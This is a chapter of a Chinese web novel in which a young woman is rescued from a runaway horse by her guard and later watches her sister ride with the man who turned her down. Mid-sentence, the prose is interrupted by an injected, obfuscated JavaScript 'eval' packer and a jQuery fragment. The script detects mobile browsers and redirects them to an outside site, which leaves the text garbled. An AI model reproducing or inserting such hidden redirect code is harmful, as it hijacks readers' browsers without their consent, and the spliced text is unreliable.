38. 骑马
作品:《将野史贯彻到底》 皇家猎苑,天空澄澈高远,几缕纤云慵懒游移。
苍翠丛林延展至天际,林间幽暗处,恍若有无数隐秘生灵在屏息窥探。
丛林边缘豁然开朗,辽阔草场仿佛铺展开的碧绿丝毯,浩荡铺陈,在风中起伏成柔韧的波浪。金黄的野苜蓿、淡紫的旋复花点缀其间,明艳如绣。
突然,一道锐利的惊叫划破这静谧。
“萧起——救命啊——”
一匹枣红马在草原上驰骋,马背上,一个纤巧身影被狂猛的颠簸高高抛起,又狠狠落下。
起初还有几名侍从,在后方烟尘里惊惶追赶、嘶声呼喊,可枣红马四蹄如飞,几个腾跃便彻底甩脱了身后的人影与声浪。
萧懿安死死攥住缰绳。疾风扑面,呛得她无法呼吸,视野里只剩下疯狂倒退的模糊绿影。
“慢……慢下!停啊!”
她攥得手臂酸麻,眼前发花,眼看就要攥不住缰绳。千钧一发之际,另一匹通体墨黑的骏马四蹄翻飞,风驰电掣般自侧翼切近。
双骑并驰、蹄声如雷。
萧懿安腰间骤然一紧,一股力量瞬间稳住了她摇摇欲坠的身体。天旋地转的颠簸猛然被截断,整个人轻飘飘地脱离了那疯狂的马背,落入一人怀里。
萧懿安回头一看,竟然是萧起。萧起没有看她,而是看着前方,一手控缰,一手稳稳护在萧懿安身侧。
死里逃生的剧烈喘息堵在喉头,萧懿安心跳如擂鼓,几乎要撞出胸腔。
枣红马兀自嘶鸣着冲向前方,黑马长嘶一声,前蹄腾空,随即稳稳踏落。
一下马,萧懿安还未站稳,嘴巴已兜不住,“呕——”地一声吐了出来。
她弯着腰,攀着萧起的腿借力,接过他递来的素白手帕,声音发颤地道:“再……再也不敢骑马了……我……”
谁知话未说完,又是一阵酸水上涌,“呕——”
……
……完了……吐在萧起衣服上了……
!!!!
靠啊啊啊!!!!
根本来不及尴尬,胃部又是一阵翻搅,“呕——”
如此“呕”了好半晌,直吐得她目眩金星、口舌苦涩,胃里翻江倒海的折磨才渐渐平息。整个人如同被抽干了筋骨,萧懿安软软地伏在马颈上,大口喘着粗气,额发完全被冷汗浸透,一缕缕贴在额角。
虽然很不合时宜,但她呕吐时不由得想,幸好刚刚缠着赵云珂教自己骑马时,赵云珂拒绝了,否则她要是当着他的面吐出来……以他洁癖得令人发指的性子,估计为数不多的好感度,会直接降到地心。
“有水吗?”她气若游丝地吐出几个字,“……漱口……”
萧起下意识去解马鞍旁悬着的水囊。递过去的时候,动作有些许犹豫,手指几不可察地蜷缩了一下。
萧懿安没有注意到他的异样,几乎是抢也似地抓过水囊,仰起惨白的脸,拔开塞子,对着囊口就大口地灌了下去。
她闭着眼,急切地含了一大口水,在口中用力地漱了几下,然后猛地侧头吐向草丛。
清凉的水冲淡了口腔里令人作呕的酸腐气,带来一丝清爽的抚慰。她长长地舒了一口气,仿佛活过来一般,又仰头连喝了几大口。
突然,她觉察到一道视线,下意识地转头,就见萧起一直凝望着她。
萧懿安只当他也渴了,抬手抹了抹嘴角的水渍,将水囊递去:“还有水呢,你喝吧。”
“属下不渴。”萧起的视线淡淡掠过囊口。
萧懿安眨了眨眼,这才意识到自己行为的不妥,慌忙用袖口去擦拭囊口边缘:“对不住对不住,是我糊涂了!要不扔了?我另赔你一个?”她瞧见那皮囊边缘已磨得发亮,显然用了多年。
萧起道:“不必,属下用惯了。”
“我刚刚看那边丛林里有条河,我去帮你洗一下,还有你的衣服,要不脱下来?我帮你洗……”萧懿安指指萧起的衣服,难得觉得有些囧。
衣角被弄脏一大片,萧起却浑不在意,面色如常,匕首一提一落,割去污秽的衣袍。
“水囊属下自己清洗。”不待萧懿安再言,他已接过水囊,转身便朝河岸行去。
不过须臾,他就拎着水囊回来了。萧懿安心下暗叹:不愧是暗卫,脚程这么快。若换作是她,这一去一回,少说也得耗上一炷香的工夫。
草原辽阔,风过处,碧草如浪起伏。二人牵着黑马往回走。
男女有别,不便同鞍共骑。萧起本欲让萧懿安一人上马,他在前头牵马即可,但萧懿安被吓得惊魂不定,实在不敢一人独乘,二人索性步行回去。
“这儿风景真好啊。”萧懿安环顾四野,不禁感叹,不似前世水泥高楼大厦,完全的自然风光,连吸入肺腑的气息,都带着草木独有的清冽甘甜。
远远的,前方有两道人影策马而来。
行得近了,定睛细看,是周奉轩与王静姝二人。
王静姝勒住缰绳,面露关切:“萧小姐,可还安好?”
萧懿安道:“我很好,二位怎么来啦?”
周奉轩坐在马上,言简意赅:“来寻你。”
王静姝温声解释:“令妹忧心如焚,奈何不善骑术,特央了我们来寻。既无恙,我们快些回去吧,莫教她们忧心。”
言罢,萧懿安便与王静姝共乘一骑。王静姝控缰扬鞭,姿态娴熟利落,加之她在身后稳稳护持,萧懿安终于安心许多,原本死死攥着鬃毛的手,也不由自主地松了几分力道。
风在耳畔呼啸而过,萧懿安由衷赞道:“王姑娘,你驾马的技术真不错啊。”
在这个交通极度不发达的社会,她平日的出行除了步行就是马车轿辇,再没有其他的交通工具,所以她才想学习骑马,既能够在草原上驰骋,还能多学一样行路的本事。她想象中自己是能像王静姝这样策马奔腾的。
王静姝谦虚道:“萧小姐过誉了,你多练习也能如此。”
萧懿安却是心有余悸,叹道:“我……实是再不敢碰这马鞍了。”
一旁的周奉轩笑道:“静姝也是近年学会的骑马……”
王静姝侧首,轻声补充:“两年前。”
周奉轩道:“对,两年前。说来也怪,幼时我和静姝一起骑过马,她骑术尚在我之上,谁知两年前再策马时,静姝竟然险些坠马,仿若从未骑过马。那时我便同念深兄说,不能终日将你拘于深闺绣阁之内,该多出来走动才是。”
不知怎的,提及“念深”二字时,王静姝眸中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704155|173244||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光彩倏然黯淡下去,默了一会才道:“所以后来兄长带我出府习骑,我的马术都是他教的……”
萧懿安了然,原来这个叫念深的,就是王静姝那位战败后不知所踪的兄长。
见王静姝情绪低落,萧懿安将话头岔开,笑问:“王姑娘骑术如此精妙,不知能不能教教我呀?”
王静姝面露难色:“恐怕……不成。表姐常唤我随侍左右,实难分身。”
她这句话说得委婉。岳灵灵那么霸道,动辄便要王静姝随侍在侧,尤喜在人前显摆。何况萧懿安和岳灵灵不对付,若是王静姝与她交好,回去肯定少不了刁难与折辱。
萧懿安想通此节,便没有强求,但仍觉惋惜。
周奉轩道:“萧小姐若不嫌弃,在下愿效微劳。论及骑术,我也尚堪一教哦。”
周奉轩自告奋勇,萧懿安没有立刻应下,眼风悄悄扫过王静姝。毕竟当着人家心仪之人的面,让他教授自己骑术,于情于理不合。但王静姝神色如常,浑无介怀之意,萧懿安这才放下心来,欣然应道:“那便有劳奉轩兄了。”
远处人声渐近,一队侍从策马赶来,手中正牵着那匹惹祸的枣红马。也不知道他们从哪追回的这匹马,此刻它倒显得温顺,只顾低头吃草。
来者正是萧府家仆,见萧懿安安然无恙,个个喜形于色,更有胆小的,竟然都要哭出来了。
萧懿安一惊,没想到他们这么忧心自己,忙摆手安抚:“我没事没事,好着呢!”
她哪里知晓这些侍从心中所想。方才只见到马没看见小姐,侍从们都觉得这下死定了,回去肯定被赵陵扒一层皮。此刻见萧懿安虽形容略显狼狈,却毫发无伤,顿感如蒙大赦,仿佛悬颈的刀斧骤然移开。
几人一道策马回营地。萧懿安既已平安,赵陵也知是那枣红马性子暴烈,只道萧懿安运气不好,并未再责罚侍从。一众家仆这才战战兢兢地抹去额上冷汗,悬着的心总算落回肚里。
“小仪呢?”萧懿安问身侧的阿暮。
阿暮本来为萧懿安平安归来而高兴,一听萧有仪的名字,立马撅着嘴,满脸不忿:“小姐还说呢!奴婢方才急得心都要跳出腔子了,谁知二小姐倒好,竟还有闲情逸致练骑马!”
萧懿安温言安抚:“好啦,小仪白白担心我也没用呀,再说小仪也很想骑马嘛。”
阿暮气恼地一跺脚,伸手一指:“小姐您瞧!”
萧懿安顺着她手指的方向看过去。
日头西沉,熔金般的霞光泼洒于天地之间。一个身着淡蓝骑装的少女,正与身旁一位白衣束袖的少年并辔而行,笑语晏晏。少女青丝随风轻扬,笑声脆若银铃,时而侧首望向少年,眉眼弯弯,笑意盈盈;少年则微微倾身聆听,朗朗笑声中透着少年人特有的意气风发,目光清亮,不时指点着前方景致。
两人挨得极近,长长的金红色光影将他们的身影交叠缠绕,马蹄轻快,衣袂翩跹。融融的笑意与并骑的默契,映着漫天流霞,美好得如同天工设色的一幅画,连掠过草尖的微风,都仿佛沾染了几分甜意。
萧懿安怔怔地立在原地,一股凉意从心头蔓延开来。
“小姐您说,”阿暮恨恨道,“二小姐找谁不好,偏偏找才拒了你的赵公子一起骑马!”